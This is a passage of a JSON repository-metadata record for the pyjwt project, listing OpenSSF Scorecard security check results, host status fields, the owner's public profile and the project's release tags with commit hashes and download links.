https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"